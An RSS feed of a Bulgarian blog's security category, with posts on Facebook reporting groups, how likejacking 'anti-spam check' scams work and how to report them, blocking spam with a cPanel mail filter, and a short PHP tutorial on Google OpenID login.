<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SEO блог и уеб програмиране &#187; Сигурност</title>
	<atom:link href="http://ganbox.com/blog/category/%d1%83%d0%b5%d0%b1-%d0%bf%d1%80%d0%be%d0%b3%d1%80%d0%b0%d0%bc%d0%b8%d1%80%d0%b0%d0%bd%d0%b5/%d1%81%d0%b8%d0%b3%d1%83%d1%80%d0%bd%d0%be%d1%81%d1%82-%d1%83%d0%b5%d0%b1-%d0%bf%d1%80%d0%be%d0%b3%d1%80%d0%b0%d0%bc%d0%b8%d1%80%d0%b0%d0%bd%d0%b5/feed/" rel="self" type="application/rss+xml" />
	<link>http://ganbox.com/blog</link>
	<description>SEO практика: трикове при оптимизация и решаване на проблеми при уеб програмиране.</description>
	<lastBuildDate>Thu, 26 Jan 2012 19:15:58 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Официално изявление на Георги Стефанов</title>
		<link>http://ganbox.com/blog/%d0%be%d1%84%d0%b8%d1%86%d0%b8%d0%b0%d0%bb%d0%bd%d0%be-%d0%b8%d0%b7%d1%8f%d0%b2%d0%bb%d0%b5%d0%bd%d0%b8%d0%b5-%d0%bd%d0%b0-%d0%b3%d0%b5%d0%be%d1%80%d0%b3%d0%b8-%d1%81%d1%82%d0%b5%d1%84%d0%b0%d0%bd/</link>
		<comments>http://ganbox.com/blog/%d0%be%d1%84%d0%b8%d1%86%d0%b8%d0%b0%d0%bb%d0%bd%d0%be-%d0%b8%d0%b7%d1%8f%d0%b2%d0%bb%d0%b5%d0%bd%d0%b8%d0%b5-%d0%bd%d0%b0-%d0%b3%d0%b5%d0%be%d1%80%d0%b3%d0%b8-%d1%81%d1%82%d0%b5%d1%84%d0%b0%d0%bd/#comments</comments>
		<pubDate>Fri, 30 Sep 2011 14:22:11 +0000</pubDate>
		<dc:creator>Георги Стефанов</dc:creator>
				<category><![CDATA[Сигурност]]></category>

		<guid isPermaLink="false">http://ganbox.com/blog/?p=1429</guid>
		<description><![CDATA[Във връзка с мой видеорепортаж по bTV със заглавие Фейсбук контрольори,   вчера 29 септември 2011 г. в Интернет бяха публикувани много статии с подвеждащи и объркани заглавия, които бяха много далеч от истината. Статиите бяха заляти с негативни и дори заплашителни коментари. Не знам дали тези подвеждащи статии са пуснати нарочно, с цел да се [...]]]></description>
			<content:encoded><![CDATA[<p>Във връзка с мой <a href="http://ganbox.com/btv">видеорепортаж по bTV със заглавие Фейсбук контрольори</a>,   вчера 29 септември 2011 г. в Интернет бяха публикувани много статии с подвеждащи и объркани заглавия, които бяха много далеч от истината. Статиите бяха заляти с негативни и дори заплашителни коментари. Не знам дали тези подвеждащи статии са пуснати нарочно, с цел да се засилва напрежението или просто някои журналисти отново не са разбрали какво се случва. С моето официално становище ще се опитам да внеса малко яснота:</p>
<p>&nbsp;</p>
<p>На първо място напълно <strong>подкрепям мирните протести</strong> срещу &#8222;цар Киро&#8220; и всеки друг подобен мутренски феодал, независимо от неговия етнос. Болно и обидно ще ми стане, ако &#8222;цар Киро&#8220; получи само 6 години затвор &#8211; заслужава много повече! Бих подкрепил всяка Facebook група, която призовава за законно и справедливо наказание, например &#8222;Смъртно наказание за цар Киро!&#8220;, но не и група, която призовава към беззаконие и саморазправа, като например страница със заглавие &#8222;Смърт за цар Киро!&#8220;.</p>
<p>&nbsp;</p>
<p>Бях поканен от bTV като Интернет експерт с цел да им покажа нагледно, как точно технически се подават сигнали към Facebook. Наистина има няколко групи с няколко хиляди души в тях, които активно подават сигнали към Facebook, но <strong>не към всички групи свързани с Катуница</strong>, а само към крайно расистки. Всички те изпращат сигнали, но<strong> само единствено хората от Facebook могат да спират страници във Facebook</strong>. Страниците се свалят от Facebook, само ако има реална причина за това, като това отново се решава само и единствено от Facebook.</p>
<p>&nbsp;</p>
<p>В Интернет беше публикувана информация, че МВР и ГДБОП правели мониторинг на мрежата и спирали страници. Ако има такива групи, те нямат нищо общо с групите, в които участвам аз. Доскоро не знаех, че  държавни правови органи по света и у нас могат да трият съдържание във Facebook, както и да изискват от Facebook информация за потребителски профили. За ЕС се ползва рамката EU Safe Harbor: <a href="http://export.gov/safeharbor/" rel="nofollow nofollow" target="_blank">http://export.gov/safeharb<wbr>or</wbr></a>  &#8211; европейска спогодба, според която Facebook са длъжни да съдействат.</p>
<p>Понятията &#8222;Фейсбук полиция&#8220;  и &#8222;Фейсбук контрольори&#8220; бяха измислени от репортери на bTV с цел сензация. Признавам, че се съгласих с тези понятия без да си давам сметка, че те лесно могат да бъдат асоциирани с някакви служби. <strong>Категорично заявявам, че нямам нищо общо с политически партии или държавни служби</strong>.</p>
<p>Групите в които участвам аз, са били създадени с цел защита от измамите във Facebook, самия аз бях поканен в една от тях, а после се включих и в други подобни. Там се подават сигнали преди всичко за: фалшиви профили, откраднати профили, страници, които се опитват да ви измамят, страници, които разпространяват спам, порнографски страници, страници призоваващи към насилие и др. Категорично смятам, че тези групи са полезни и реално помагат на хиляди хора, да не бъдат измамени във Facebook и за намаляване на спама в мрежата.</p>
<p>&nbsp;</p>
<p style="text-align: justify;">
<div style="float:right;display:block" class="counterViews">Брой разглеждания на тази статия: <b>1328</b></div>]]></content:encoded>
			<wfw:commentRss>http://ganbox.com/blog/%d0%be%d1%84%d0%b8%d1%86%d0%b8%d0%b0%d0%bb%d0%bd%d0%be-%d0%b8%d0%b7%d1%8f%d0%b2%d0%bb%d0%b5%d0%bd%d0%b8%d0%b5-%d0%bd%d0%b0-%d0%b3%d0%b5%d0%be%d1%80%d0%b3%d0%b8-%d1%81%d1%82%d0%b5%d1%84%d0%b0%d0%bd/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Измами във Facebook</title>
		<link>http://ganbox.com/blog/%d0%b8%d0%b7%d0%bc%d0%b0%d0%bc%d0%b8-%d0%b2%d1%8a%d0%b2-facebook/</link>
		<comments>http://ganbox.com/blog/%d0%b8%d0%b7%d0%bc%d0%b0%d0%bc%d0%b8-%d0%b2%d1%8a%d0%b2-facebook/#comments</comments>
		<pubDate>Wed, 24 Aug 2011 18:52:30 +0000</pubDate>
		<dc:creator>Георги Стефанов</dc:creator>
				<category><![CDATA[Сигурност]]></category>

		<guid isPermaLink="false">http://ganbox.com/blog/?p=1396</guid>
		<description><![CDATA[Скрито харесване на фен страници От месеци във  Facebook се създават все повече фен страници, които имат една единствена цел да трупат колкото се може повече фенове, като ползват скрита техника, която те прави фен на страницата без да разбереш (Likejacking). Също така е възможно да станеш фен на съвсем друга страница във Facebook, която [...]]]></description>
			<content:encoded><![CDATA[<h2>Скрито харесване на фен страници</h2>
<p><img class="alignleft size-medium wp-image-1397" style="float: right;" title="Анти-спам проверка, която е измама във Facebook" src="http://ganbox.com/blog/wp-content/pub/fbspam2-300x227.png" alt="" width="300" height="227" /></p>
<p>От месеци във  Facebook се създават все повече фен страници, които имат една единствена цел да трупат колкото се може повече фенове, като ползват скрита техника, която те прави фен на страницата без да разбереш (Likejacking). Също така е възможно да станеш фен на съвсем друга страница във Facebook, която дори не си виждал. Понякога ставаш фен не на една, а на няколко фен страници.</p>
<div>
<h3>Как го правят?</h3>
<p>Създават нова фен страница. Измислят скандално заглавие свързано с известна личност. Примерите са много: &#8222;<strong>Голи снимки на Диляна Попова от &#8222;Стъклен дом&#8220; (16+)&#8220;,  &#8220;<strong>Андреа, Николета и Златка&#8230; страшно видео | Видео</strong>&#8222;,  &#8220;<strong>Гонзовица пуска голи новини (снимки)</strong>&#8222;,  &#8220;<strong>Андреа заголи гръд пред Калин Врачански (Видео) | Видео</strong>&#8222; </strong>и много други. Най-често фен страницата ти обещава да ти покаже снимки или видео, но преди това трябва да докажеш, че си човек, като преминеш &#8222;Анти-спам проверка&#8220;. Ако в този момент поне за кратко се замислиш, ще осъзнаеш, че няма никаква причина да доказваш, че си човек и това трябва да те усъмни. Докато си мислиш, че преминаваш анти-спам проверка и натискаш с мишката разни неща по екрана, това което се случва е скрито да натискаш бутони [Харесва ми] на различни фен страници. В резултат да това ставаш фен на страница и жертва на измама от собственика на тази страница. Това, което може да очакваш от такива страници е СПАМ. Всеки път, когато собственика пусне реклама в тази страница ти ще получаваш съобщение в твоите Новини във Facebook.</p>
<h3>Защо го правят?</h3>
<p>За пари. Фен страници, които имат много фенове (например над 100000 души) след това се опитват да продават рекламни линкове. Точно така опитват се, защото търсенето на реклама в такива страници е много малко и то е насочено към фен страници, които са събрали фенове по естествен път и които често посещават тази фен страница. Но очевидно алчността, глупостта и упоритостта на някои хора е безгранична.</p>
<pre><em>"Вселената и глупостта на хората са безкрайни, но за първото не съм сигурен". Алберт Айнщайн.</em></pre>
<p>Друга честа причина за създаване на такива страници е да създават линкове към различни клюкарски сайтове пълни с жълти новини и по този начин да привличат множество читатели.</p>
<p>А вероятно има и хлапета, които просто обичат да се смеят, колко много хора са излъгали.</p>
<h3>Как да разпозная такава страница?</h3>
<p><a href="http://ganbox.com/blog/wp-content/pub/fbspam3.png"><img class="alignright size-medium wp-image-1399" title="Нова анти-спам проверка, измама във Facebook" src="http://ganbox.com/blog/wp-content/pub/fbspam3-300x210.png" alt="" width="300" height="210" /></a> На първата снимка се вижда карето на най-старата &#8222;анти-спам проверка&#8220;, която излезе (оградена с червен кръг от мен). На втората снимка се вижда по-нова &#8222;анти-спам проверка&#8220;, която умишлено е нарисувана така, че да изглежда, като прозорче на Facebook.</p>
<p>Ако видиш такава, веднага спри и потърси долу вляво линка &#8222;Докладвай Страница&#8220;. При натискане се отваря прозорче, от което се избира опцията  &#8220;Спам или измама&#8220; и се натиска бутона [Продължи]. Накрая бутона [Добре]. По този начин съобщаваш на Facebook, че това е измамна страница. За съжаление са нужни доста такива оплаквания, за да може някой от Facebook да вземе мерки и да спре страницата.</p>
<p>На адрес https://www.facebook.com/groups/bgspam сме създали отворена група с името &#8222;<a href="https://www.facebook.com/groups/antispamgroup/">Анти-Спам/Скам</a>&#8222;, в която всеки може да се присъедини и да помогне в борбата срещу измамите във Facebook. Всеки ден докладваме по няколко подобни страници пред Facebook. Колкото повече хора участват в тази група, толкова по-силен фактор става тя и подобни страници много бързо ще бъдат премахвани. Вече можем да се похвалим с няколко такива случая.</p>
<p>&nbsp;</p>
<p>Вероятно скоро ще има още по-заблуждаващи &#8222;анти-спам проверки&#8220;. Затова всеки път, когато фен страница във Facebook те кара да докажеш, че си човек или те задължава да натиснеш нещо и когато тази страница ти обещава нещо интересно или скандално, спри и ако не си сигурен дали това е измама, просто влез в групата <a href="https://www.facebook.com/groups/antispamgroup/">Анти-Спам/Скам</a> и попитай &#8211; много бързо ще получиш отговор, ще ти помогнем да вземеш правилно решение и ще те предпазим от СПАМ.</p>
<h3>Вече го натиснах, какво да правя?</h3>
<p>Няма страшно. За да не получаваш спам, влез в страницата (ще видиш, че бутона [Харесва ми] го няма, защото вече си фен) и потърси долу вляво линка &#8222;Не харесвам&#8220;, натисни го и след това натисни линка &#8222;Докладвай Страница&#8220; и пак по същия начин избери &#8220;Спам или измама&#8220; и се натиска бутона [Продължи].</p>
<h3>Подобни статии</h3>
<p>Други сайтове описващи същия проблем <a href="http://www.ivblog.info/2011/06/facebook.html" target="_blank">тук</a> и <a href="http://socialmediaguru.eu/2011/02/%D0%BB%D0%BE%D1%88%D0%B8-%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D0%B8-%D0%B7%D0%B0-%D1%81%D1%8A%D0%B1%D0%B8%D1%80%D0%B0%D0%BD%D0%B5-%D0%BD%D0%B0-%D1%84%D0%B5%D0%BD%D0%BE%D0%B2%D0%B5-facebook/" target="_blank">тук</a>.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
</div>
<div style="float:right;display:block" class="counterViews">Брой разглеждания на тази статия: <b>2845</b></div>

<p>Подобни статии:<ol><li><a href='http://ganbox.com/blog/%d1%81%d1%8a%d0%b7%d0%b4%d0%b0%d0%b2%d0%b0%d0%bd%d0%b5-%d0%bd%d0%b0-%d1%84%d0%b5%d0%bd-%d1%81%d1%82%d1%80%d0%b0%d0%bd%d0%b8%d1%86%d0%b0-%d0%b2%d1%8a%d0%b2-facebook/' rel='bookmark' title='Permanent Link: Създаване на фен страница във Facebook'>Създаване на фен страница във Facebook</a> <small>Статията е насочена към създаване на фен страница на бизнес...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://ganbox.com/blog/%d0%b8%d0%b7%d0%bc%d0%b0%d0%bc%d0%b8-%d0%b2%d1%8a%d0%b2-facebook/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Блокиране на спам през cPanel</title>
		<link>http://ganbox.com/blog/%d0%b1%d0%bb%d0%be%d0%ba%d0%b8%d1%80%d0%b0%d0%bd%d0%b5-%d0%bd%d0%b0-%d1%81%d0%bf%d0%b0%d0%bc-%d0%bf%d1%80%d0%b5%d0%b7-cpanel/</link>
		<comments>http://ganbox.com/blog/%d0%b1%d0%bb%d0%be%d0%ba%d0%b8%d1%80%d0%b0%d0%bd%d0%b5-%d0%bd%d0%b0-%d1%81%d0%bf%d0%b0%d0%bc-%d0%bf%d1%80%d0%b5%d0%b7-cpanel/#comments</comments>
		<pubDate>Sat, 03 Jul 2010 19:36:15 +0000</pubDate>
		<dc:creator>Георги Стефанов</dc:creator>
				<category><![CDATA[Сигурност]]></category>
		<category><![CDATA[блокиране на спам]]></category>

		<guid isPermaLink="false">http://ganbox.com/blog/?p=954</guid>
		<description><![CDATA[Какво е СПАМ? За мен СПАМ е всяко едно неочаквано имейл съобщение, дори запитване дали може да ми пратят непоискано съобщение Напоследък върлува следния досаден СПАМ със заглавие: &#8222;Въпрос от Бизнес Каталог България&#8220; и текст: Уважаеми Дами и Господа, Бихме желали да поискаме разрешение да ви изпратим непоискано търговско съобщение. Темата му е &#8222;Каталог Медия [...]]]></description>
			<content:encoded><![CDATA[<h3>Какво е СПАМ?</h3>
<p>За мен СПАМ е всяко едно неочаквано имейл съобщение, дори запитване дали може да ми пратят непоискано съобщение <img src='http://ganbox.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Напоследък върлува следния досаден СПАМ със заглавие: &#8222;Въпрос от Бизнес Каталог България&#8220; и текст:</p>
<p><em>Уважаеми Дами и Господа,<br />
Бихме желали да поискаме разрешение да ви изпратим непоискано търговско съобщение.<br />
Темата му е &#8222;Каталог Медия и Реклама 2010&#8243;<br />
Ако искате да го прочетете, можете да посетите този линк &#8230;<br />
Ако не желаете да получавате повече полезна информация от нас, можете да запишете Вашият мейл тук &#8230;<br />
С уважение,<br />
Бизнес Каталог България<br />
02 421 40 44<br />
www.cаtаlogbg.biz</em></p>
<p><em>office@cаtаlogbg.biz</em></p>
<p><em>office@bаzi-dаnni.com</em></p>
<p>Това съобщение се получава по няколко пъти в една пощенска кутия. На пръв поглед това е съвсем културно съобщение, но искам да ти обърна внимание<em>,</em> че подобна опция при която се записваш, че не желаеш да получаваш имейли е много опасна! Това е сигурен начин да покажеш, че този имейл не само е валиден, а се преглежда редовно от човек. След като натрупат солидна база данни с примерно 20 000 имейла, тази компания може да реши тайно да продаде тази база с имейл адреси и тогава наистина ще започнеш да получаваш много съобщения. Подобен сценарий се случва всеки ден по света. Трябва добре да познаваш фирмата, която стои отсреща и да и имаш доверие. Например Google.</p>
<p>Ако искаш да спреш да получаваш подобни имейли във всичките мейл акаунти на твоя сайт и ако използваш хостинг с cPanel, може да направиш това, като блокираш този изпращач да не може да ти изпраща повече имейли. Това се прави лесно.</p>
<h3>Блокиране на СПАМ през cPanel</h3>
<p>Влез в cPanel контролния панел на твоя хостинг, в секцията Mail избери “Account Level Filtering”. Натисни бутона [Create a new Filter]. В първото поле <strong>Filter Name</strong>: въведи някакво име, което да те подсеща за какво е филтъра, например bazidanni. В полето под &#8222;Rules&#8220; в първия падащ списък остави избрано <strong>From</strong>, а във втория избери <strong>contains</strong> и в полето отдолу въведи <strong>bazi-danni.com</strong>. В падащия списък под <strong>Actions</strong> остави избрано <strong>Discard Message</strong>. Натисни бутона [Activate] и ще имаш филтър, който ще унищожава всички имейл съобщения, които съдържат в хедъра си From низа bazi-danni.com. От този момент няма да получаваш повече писма, от пощенски кутии, които завършват на @bazi-danni.com.</p>
<p>По подобен начин може да зададеш друг филтър, като например вместо From избереш Subject и като текст въведеш Viagra. По този начин ще бъдат изтривани автоматично писма с оферти за виагра.</p>
<p>Темата е доста обширна и тук е даден само бърз пример</p>
<div style="float:right;display:block" class="counterViews">Брой разглеждания на тази статия: <b>3427</b></div>]]></content:encoded>
			<wfw:commentRss>http://ganbox.com/blog/%d0%b1%d0%bb%d0%be%d0%ba%d0%b8%d1%80%d0%b0%d0%bd%d0%b5-%d0%bd%d0%b0-%d1%81%d0%bf%d0%b0%d0%bc-%d0%bf%d1%80%d0%b5%d0%b7-cpanel/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Логване в сайт с OpenID през Google</title>
		<link>http://ganbox.com/blog/%d0%bb%d0%be%d0%b3%d0%b2%d0%b0%d0%bd%d0%b5-%d0%b2-%d1%81%d0%b0%d0%b9%d1%82-%d1%81-openid-%d0%bf%d1%80%d0%b5%d0%b7-google/</link>
		<comments>http://ganbox.com/blog/%d0%bb%d0%be%d0%b3%d0%b2%d0%b0%d0%bd%d0%b5-%d0%b2-%d1%81%d0%b0%d0%b9%d1%82-%d1%81-openid-%d0%bf%d1%80%d0%b5%d0%b7-google/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 13:08:17 +0000</pubDate>
		<dc:creator>Георги Стефанов</dc:creator>
				<category><![CDATA[Сигурност]]></category>
		<category><![CDATA[Уеб програмиране]]></category>
		<category><![CDATA[OpenID]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[доставчик на OpenID]]></category>
		<category><![CDATA[достъп до много сайтове]]></category>
		<category><![CDATA[една парола]]></category>
		<category><![CDATA[идентификация]]></category>
		<category><![CDATA[логване]]></category>
		<category><![CDATA[оторизиране]]></category>
		<category><![CDATA[сигурност]]></category>
		<category><![CDATA[удостоверяване]]></category>
		<category><![CDATA[урок]]></category>

		<guid isPermaLink="false">http://ganbox.com/blog/?p=710</guid>
		<description><![CDATA[Ограничен достъп и логване с OpenID Някой от страниците на сайта ganbox.com реших да са достъпни само след логване, затова ми се наложи да си направя логин форма, през която потребителите да се логват и да получават достъп. Обикновено една такава система включва в себе си няколко функции: страница за регистриране, страница за логване, страница [...]]]></description>
			<content:encoded><![CDATA[<h3>Ограничен достъп и логване с OpenID</h3>
<p>Някой от страниците на сайта <a href="http://ganbox.com">ganbox.com</a> реших да са достъпни само след логване, затова ми се наложи да си направя логин форма, през която потребителите да се логват и да получават достъп. Обикновено една такава система включва в себе си няколко функции: страница за регистриране, страница за логване, страница за забравена парола, страница за промяна на парола или други лични данни, управление на сесии, база данни с данни за потребителите. Мислих няколко варианта и накрая реших, че без последните две няма как да мина, но нямам време да правя другите страници. Затова избрах решение с OpenID логване.</p>
<h3>Какво е OpenID?</h3>
<p>Съвсем накратко: <strong>с една парола достъп до много сайтове</strong>. Това е метод, който обединява протокол и системи, който ти дава възможност да се регистрираш в един сайт и след това да получаваш достъп до много други сайтове, които поддържат OpenID, само като се логваш в първия сайт.</p>
<h3>Как работи OpenID</h3>
<p>Регистрираш се в един сайт, който е <strong>доставчик на OpenID</strong> и там получаваш данни за достъп до акаунта, които обикновено са комбинация от имейл и парола или потребителско име и парола. От този момент можеш да се логваш във всеки един сайт, който поддържа този доставчик на OpenID.</p>
<p>Някои от сайтовете, като например сайта за споделяне на връзки dao.bg (а и много други подобни сайтове), изискват първо да си създадеш профил в сайта и едва след това може да присъединиш OpenID идентификатор в профила си, за да може да се логваш с OpenID.</p>
<p>Трик за сигурност: След като въведеш OpenID е препоръчително да смениш паролата си в този сайт с някаква невъзможно сложна и дълга парола.Тъй като няма повече да ползваш тази парола, от съображения за <strong>сигурност</strong> е по-добре да не може да бъде налучкана от хакери.</p>
<h3>Предимства на OpenID</h3>
<h4>1. Без измисляне на нови пароли. </h4>
<p>Не е нужно да помниш много пароли, а само една и по-рядко ще ти се случва да забравиш паролата си.</p>
<h4>2. Бърза регистрация. </h4>
<p>В повечето сайтове, в които искаш да влезеш няма да ти се налага да се регистрираш или ако има такава стъпка доста от данните ще бъдат попълнени, защото се изпращат от сайта доставчик на OpenID.</p>
<h4>3. На уеб програмистите спестява време.</h4>
<p>Отпада нуждата от програмиране на няколко уеб страници.</p>
<h4>4. По-висока степен на сигурност.</h4>
<p>Виж по-долу в параграфа Сигурност.</p>
<h3>Недостатъци на OpenID</h3>
<p>Хора които са слабо запознати с интернет технологиите и с OpenID могат да се уплашат, че за вход в твоя сайт трябва да въведат паролата си за Гугъл. Това се случи в ganbox.com, затова в логин страницата поставих блок Информация.</p>
<h3>Сигурност</h3>
<p>Всъщност метода на логване през OpenID е с <strong>висока степен на сигурност</strong>, защото въвеждаш паролата си в страница на Гугъл защитена с SSL и това, което Google изпраща към сайта, в който се логваш се контролира от теб. В случая на ganbox.com това е единствено имейл адреса, като при първото изпращане ти получаваш предупреждение за това и се съгласяваш с това действие.</p>
<p>Трябва да гледаш с добро око на сайтовете, които предлагат OpenID логин. Повечето хора използват една и съща парола за няколко сайта. Ако и ти правиш така, то при използване на OpenID избягваш следния риск (макар и минимален).  При регистриране в нов сайт в момента на въвеждане на паролата е възможно някой от администраторите да получи тази парола в чист текст. След това той може да злоупотреби и ще има достъп до всичките сайтове, в които използваш тази парола. При OpenID нямаш този проблем, защото в новия сайт не се изпраща парола.</p>
<h3>Логване с OpenID в страница на PHP</h3>
<p>В ganbox.com за начало като OpenID доставчик избрах Google, защото почти всеки има поща в gmail.com или ползва друга услуга на Google и има Google акаунт. В последствие може да се добавят още доставчици, като например Facebook и човек ще може да си избира с кой от двата да се логне.</p>
<p>В този урок ще покажа как да си направиш логване в твоя сайт през акаунт на <strong>Гугъл</strong>.</p>
<p>1. Изтегли си библиотеката <a href="http://ganbox.com/blog/wp-content/pub/class.openid.php_.zip">class.openid.php</a>, разархивирай файла и го постави в директория inc, която трябва да е в главната уеб директория.</p>
<p>2. В главната уеб директория създай два файла login.php и return.php</p>
<p>Основния код в login.php, който стартира процес по логване е:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">require_once</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/inc/class.openid.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>user_logged<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; GoogleOpenId<span style="color: #339933;">::</span><span style="color: #004000;">login</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://ganbox.com&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;http://ganbox.com/return.php&quot;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Location: /'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>Функция user_logged() проверява дали потребителя се е логнал.<br />
Последния параметър true на GoogleOpenId::login указва дали твоя сайт ще изиска имейл адрес.<br />
Този ред ще пренасочи браузъра към страница за логване в Google профил (ако вече не си логнат в Гугъл), след като се логнеш първият път ще ти се изведе съобщение, че сайта изисква имейл и трябва да се съгласиш да предоставиш тази информация, след което ще те редиректнат отново към http://ganbox.com/return.php</p>
<p>В return.php основния код е:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">require_once</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/inc/class.openid.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$response</span> <span style="color: #339933;">=</span> GoogleOpenId<span style="color: #339933;">::</span><span style="color: #004000;">getResponse</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'id_res'</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$response</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getMode</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> &nbsp; &nbsp;<span style="color: #666666; font-style: italic;"># успешно логване<br />
</span>&nbsp; &nbsp; <span style="color: #000088;">$email</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$response</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getEmail</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;"># имейл<br />
</span>&nbsp; &nbsp; user_login<span style="color: #009900;">&#40;</span><span style="color: #000088;">$email</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Location:/'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/die"><span style="color: #990000;">die</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Неуспешен вход'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>В този код функцията user_login() се грижи да създаде сесия и да отбележи, че потребителя е логнат. Ако до момента не е имало потребител с подадения имейл, автоматично го регистрира и логва.<br />
Това е всичко по оторизирането на потребителя &#8211; просто и бързо.</p>
<p>След това във всяка страница, в което искам да огранича достъпа викам функция  user_logged(), която проверява дали потребителя е логнат и ако не е логнат или ако сесията е изтекла се пренасочва към страница за логване.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>user_logged<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Location: /login.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>Работещ пример има в сайта ganbox.com, като с ограничен достъп са страниците <a href="/pos">Класиране на сайт</a>, <a href="/seo-status">SEO състояние на сайт</a> и <a href="/resize">Промяна на снимка</a>.<br />
Това е накратко. Ако има интерес и имам време мога да дам пълните кодове. Пишете коментари! <img src='http://ganbox.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div style="float:right;display:block" class="counterViews">Брой разглеждания на тази статия: <b>4926</b></div>

<p>Подобни статии:<ol><li><a href='http://ganbox.com/blog/%d0%be%d0%bf%d1%82%d0%b8%d0%bc%d0%b8%d0%b7%d0%b8%d1%80%d0%b0%d0%bd%d0%b5-%d0%bd%d0%b0-%d0%b1%d1%8a%d1%80%d0%b7%d0%be%d0%b4%d0%b5%d0%b9%d1%81%d1%82%d0%b2%d0%b8%d0%b5%d1%82%d0%be/' rel='bookmark' title='Permanent Link: Оптимизиране на бързодействието на сайт'>Оптимизиране на бързодействието на сайт</a> <small>Пиша тази статия като продължение на статията PHP парсване на...</small></li>
